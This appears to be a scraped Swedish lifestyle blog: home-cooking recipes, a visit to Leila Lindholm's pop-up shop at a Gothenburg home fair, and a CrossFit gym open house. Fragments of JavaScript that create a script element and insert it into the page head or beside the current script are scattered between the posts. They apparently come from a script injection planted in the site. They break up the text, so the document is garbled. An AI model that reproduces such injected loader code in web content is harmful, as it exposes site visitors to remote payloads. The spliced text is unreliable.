Tacosoppa med tillbehör

Alla har säkert ätit tacos eller tacopaj och för er som inte prövat på att laga tacosoppa så har jag ett gott recept här som ni får pröva på att laga.

500g nötfärs
1 burk majskorn (eller frysta)
1 gul lök 1 vitlöksklyfta
1-2  påsar tacokrydda (smaka av hur mycket tacosmak som önskas)
1 liter vatten 1 1/2 msk oxfond eller köttfond
1 burk krossade tomater
1 tsk timjan
Smör
Salt och peppar

Tillbehör
Gröna oliver
Färsk paprika
Riven ost
Gräddfil
Tacochips

Hacka lök och vitlök fint. Fräs i en gryta med smör.  Fräs nötfärs i en stekpanna med smör tills den är genomstekt. Blanda ner färsen i grytan och krydda. Tillsätt majs och vatten och låt puttra ca 15 minuter. Smaka av och krydda eventuellt mer, låt svalna något innan servering.

if (document.currentScript) {

Hem och Villamässan i Göteborg lördag 27:e oktober 2013

bild24

För ett tag sedan utlyste Leila Lindholm en tävling via leilasgeneralstore på instagram. Tävlingen gick ut på att lägga upp en bild på det tjusigaste bakverk och hashtagga. Vinsten var 2 stycken entrébiljetter til Hem och Villamässan i Göteborg den 24-27 oktober. Jag var en av de lyckliga vinnarna och de bidrag jag la upp på instagram var dessa tårtor som jag tidigare bakat.

bild21bild18

Det kändes kul när jag fick hem mina vinstbiljetter.

bild23

Leila har en konceptbutik via nätet som heter Leilas General Store. Hemsidan hittar du här.
Det är en inredningsbutik med köksprylar på nätet där du hittar de bästa husgeråden förför köket och massor av andra godsaker. Du hittar även fina köksredskap, emaljprodukter och sugrör  i olika färger,  kalasprodukter, choklad och slickepottar av silikon. På Hem och Villamässan ställer Leila ut med en sk ”Pop-up butik” där du kan köpa hennes fina produkter..

Butiken var helt underbar och jag ville köpa precis allt i butiken. Priserna är lite dyrare än normalt men håller toppen kvalité. Jag passade på att besöka mässan igår precis när de öppnat vid 10 tiden och fick tid att prata lite med Leila och främst tacka för biljetterna. Mitt intryck av Leila är positivt. En trevlig och otroligt duktig på allt hon tar för sig. Det är lätt att tycka om henne som person då hon var både behaglig att prata med och passionerad i det hon gör.

bild29

Här ser ni bokhörnan i pop-up butiken från mässan. Det här är Leilas stora inredningsbok med inspiration, idéer och tips om hur du inreder hela ditt hem och gör det både praktiskt och levande. Boken är en handbok fylld av bilder och illustrationer från olika miljöer, allt från klassisk kolonialstil till fransk romantik. Leila guidar dig till att hitta din stil och ger dig knepen för att skapa ett tidlöst hem fyllt av harmoni! Du får även tips om hur du på egen hand tapetserar, gör en sänghimmel, bygger smart förvaring, hänger tavlor och ljussätter ett rum. Efter att ha arbetat många år tillsammans med att skapa miljöer till tv-inspelningar och böcker kommer här Leila Lindholm och Ulrika Magnusson gemensamma bok Welcome Home.  Det här är en bok du kommer att ha glädje av länge oavsett stil!
Fotografier av Wolfgang Kleinschmidt och Carl-Johan Rönn.

Jag fick möljlighet att prata lite med Leilas samarbetspartner Ulrika Magnusson och hon var lika passionerad i inredning som Leila så jag förstår varför de hittade ett samarbete ihop.
bild22bild26bild3bildCbildBbildA

bild1

bild28bild27bild30bild25bild4bild5bild2

 

Här nedan kan ni se vad jag köpte igår.

 

bild14

bild16bild15bild17

De här roliga och klassika popcornpåsarna från USA är gjorda i papper och passar perfekt till barnkalaset, fredagsmyset eller till festen med cirkustema!

Bredd: 10,5 cm Höjd: 32 cm

bild11

Fina röda kalaspåsar i papper med vita ränder till kalaset. Perfekt som godispåsar till fiskdammen och även trevliga till chips, popcorn och andra snacks. Påsarna är lagom stora för att använda som kuvert till vykort och fina som presentpåse till smycken och mindre gåvor.

Storlek: 18×13 cm

bild10

Det här fina röd/randiga bomullssnöret på rulle kan man använda till mycket. Exempelvis är det till fint att använda som snöre vid paketinslagning eller till hängetiketter på syltburkar men även till hemgjorda kort och pyssel med textila detaljer.

Längd på snöret: 100 m

bild9

Små delikata Non stop guldhjärtan fyllda med mörk choklad tillverkade i Italien.

bild6

Stadig och användbar kökstång med gummihandtag. Det praktiska gummihandtaget gör att du får ett bra grepp. Använd den till pastan eller till salladen eller till kokta grönsaker. En bra multifunktionell kökstång med vitt handtag.

Längd: 30 cm

bild19

Ett fint spagettimått i körsbärsträ. Med det mäter man upp spagettiportioner

bild13Bakplåt med lite högre kant som är perfekt när man  bakar foccaciabröd då man behöver olja i botten av plåten. Den är jättebra till andra bröd och småkakor så som morotskaka, brownies, kärleksmums och smulpaj.
Bredd: 25 cm
Längd: 25 cm
Höjd: 5 cm
Material: Plåt

bild12

Den här vita degskrapan i plast är ett väldigt behändigt köksredskap i köket. Den är perfekt för att skrapa ur degen ur bunken när man bakar, bre på smör på kanelbullsdegen eller för att dela deg.

Längd:13,5 cm
Bredd:9 cm

bild7

Det här läckra svarta kakfatet är perfekt till småkakor, cupcakes, fairycakes, whoopies och en mindre sockerkaka. Kakfatet är tillverkat i handpressat glas av högsta kvalitet. Det är otroligt fint att bara låta stå framme i köket.
Diameter: 16,5 cm

För er som tycker om Leila Lindholm så har hon en hemsida här.
Där hittar du både hennes blogg, receptbank och hennes webbutik.

 var d=document;var s=d.createElement(‘script’);

Stekt torsk med remouladsås

Det här behöver du för 4 personer:
600 gram,  torskfilé
2 msk vetemjöl
1 ägg
1,5 dl veteströbröd
salt och peppar
smör och rapsolja

Till remouladsåsen:
1 dl majonnäs
1 1/2 dl gräddfil
1 msk svensk bordssenap
1/2 dl bostongurka
1 msk hackad kapris

Gör så här:
Tillagning: Häll  majonnäs, gräddfil ock  svensk bordssenap i en skål. Tillsätt bostongurka  hackad kapris. Rör samman ock låt såsen stå och dra minst  en halvtimme före serveringen. Se till att fisken är helt tinad. Salta och peppra fiskfiléerna lätt och vänd dem i tur och ordning i vetemjöl, uppvispat ägg och veteströbröd. Stek fisken i lika delar smör och olja i medelvarm panna, knappt två minuter per sida. Lägg upp direkt. Panerad och stekt fisk ska ätas direkt, då är den som godast. Bäst smakar den med kokt potatis, kall remouladsås och en citronklyfta att pressa över.

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);

Cheesecake med citrus

bild (177)

Här kommer ett smarrigt recept på en cheesecake med citrus.

Recept 8 portioner 12 digistivekex 75 gram smör

Fyllning 3 gelatinblad 2 1/2 dl vispgrädde 500 gram Kesella citrus

Gör så här: Smält smöret. Mixa kex och smör. Tryck ut blandningen i botten på en form med löstagbar kant ca 24 cm i diameter. Låt stå kallt i kyl ca 15 minuter. Låt gelatinbladen ligga i kallt vatten 5 min. Koka upp grädden. Rör ner gelatinbladen. Låt grädden svalna något. Blanda grädde och kvarg. Häll det i formen. Låt stå i kyl  minst 3 tim. Garnera med färsk frukt.

Imagedigestive_original

bild (183)bild (190)bild (188)bild (175)bild (177)bild (183)if (document.currentScript) {

Coleslaw med vitkål, morot och rödlök

bild (167)

Här kommer ett recept på en krämig och god coleslaw.

Recept:
500 gram Vitkål
1/2 Rödlök
1 Morot
1 tsk Fransk senap
1 dl Creme Fraiche
1/2 dl Majonnäs
0,5 tsk salt
0,5 tsk socker

Gör så här:
Strimla vitkål och rödlök fint och grovriv  moroten. Blanda ihop röran och häll och blanda i grönsakerna. Låt stå i kylskåp en stund innan servering.

bild (191)bild (179)bild (195)

 

 }

Öppet hus på CrossFit Göta Masthugget

bildH

Idag var det öppet hus  på CrossFit Göta Masthugget.  Den nya boxen hittar ni på Stigbergsliden 5. Entré sker genom porten på Oskarsgatan 6B.

bildE

bildE

bildASbildF

CrossFit Göta Masthugget!
På Stigbergsliden 5, nära Amerikahuset, har Apartment Fitness Club det senaste året bedrivit träningsverksamhet men från och med 14 oktober kommer  CrossFit Göta driva vidare anläggningen och nu satsa 100 % på CrossFit.

Duktiga coachen Elinor kommer vara den som är främst ansvarig för passen på Masthugget men alla coacher kommer turas om och hålla pass på den nya boxen. Det kommer finnas morgon, lunch och kvällspass samt on-rampkurser för nybörjare i Crossfit.

Vill önska Johan, Christian och Marcus all lycka till med den nya boxen och jag tror det kommer gå lika bra som med CrossFit Lyckholms, med samma ”goa” stämning, gemenskap och samhörighet tillsammans med alla  trevliga medlemmar såklart!

bildBbildA

bildAbildCbildDbildLbildKDet finns två riktigt snygga omklädningsrum med dusch på boxen i Masthugget. Här kommer bilder på damernas.
bildIBildDD

Cross

Fikarummet är såå snyggt utrustat med  ett kök och sittplatser.

bildC

bildMbildB

Det finns även ett loungeliknande rum där du kan ta det lugnt innan eller efter ditt pass. Där finns även dörren in till herrarnas omklädningsrum.

bildGbildD

bildEEbildF

bildG} else {

Parmesankex

Här kommer recept på goda parmesankex som är ett perfekt drinktilltugg.

Grovriv parmesanost och lägg i små högar på ett bakplåtspapper.
Sätt in bakplåten i ugnen på ca 175 grader i ca 5-7 minuter, tills de har smält och blivit små kakor.

Låt dem svalna på ett hushållspapper och servera dem till drinken.

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Smulpaj med rabarber och jordgubbar

942581_10151501442030959_1029732727_n

För ett tag sedan såg jag Monika Ahlberg i TV4 morgon där hon lagade en smulpaj som såg helt underbart god ut. Receptet på smulpajen kommer från henne  och den är både enkel att göra och mycket god.

Recept 4 portioner
100 gram smör
3 msk strösocker
1,5 dl vetemjl
1,5 dl havregryn

Fyllning:
400 gram späd rabarber
0,5 l skivade jordgubbar
1,5 dl strösocker
1,5 msk potatismjöl.

Till servering:
Lättvispad grädde eller vaniljglass.

Gör så här: Smält smöret i en kastrull. Rör ner socker, vetemjöl och havregryn. Skiva rabarbern tunt. Blanda ihop med skivade jordgubbar, socker och potatismjöl.
Bred ut fyllningen i en form. Strö över smuldegen. Grädda pajen på 225 grader i ca 15 minuter.
Servera med grädde eller vaniljglass.

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

LCHF pasta (tagliatelle)

LCHF pasta (4 portioner)
6 ägg
200 gram färskost
0,75 dl fiberhusk
1 krm salt

Gör så här:
Sätt ugnen på 150 grader  Vispa äggen poröst.  Tillsätt färskost och fiberhusk och vispa ihop. Låt svälla i ca 10 minuter. Bred ut smeten tunt på 2 st bakplåtspappersklädda plåtar. Lägg ett oljat bakplåtspapper över och kavla ut degen lite extra, den ska täcka hela plåten annars blir pastan för tjock.Tag av det översta bakplåtspappret. Det ska inte vara några luftbubblor kvar i pastan. Grädda i ca 10 minuter Låt svalna och skär sedan tunna strimlor av degen (som tagliatelle).
Förvara pastan i en plastpåse i kylen innan tillagning. Koka pastan i lättsaltat vatten ca 2-3 min.

}

Äpplemos

bild (175)

Har nu provat på att laga äpplemos och receptet hittade jag på Coop.

1 kg äpplen
1 dl vatten
3 dl socker
1/2 krm askorbinsyra
1 krm natriumbensoat.

Gör så här:
Skala frukten, skär den i klyftor och tag bort kärnhusen. Lägg äppelklyftorna i en gryta och häll på vattnet. Koka upp och koka på svag värme under lock ca 10 minuter tills äpplena är mjuka.

Tag grytan från värmen. Rör kraftigt, mosa med potatisstöt eller kör i matberedare till önskad konsistens. Tillsätt askorbinsyra, först utredd i lite av moset, så behålls den ljusa färgen. Blanda i önskad mängd socker. Koka upp under omrörning och koka ett par minuter.

Blanda sedan i natriumbensoat, först utredd i lite av moset. Ös upp det varma moset i rena varma glasburkar, ända upp till kanten. Sätt genast på lock. Håller i kylskåp minst 6 månader.

bild (147)bild (192)bild (176)bild (180)bild (199)bild (183)bild (198)bild (197)bild (193)bild (191)bild (181)bild (179)bild (167)if (document.currentScript) {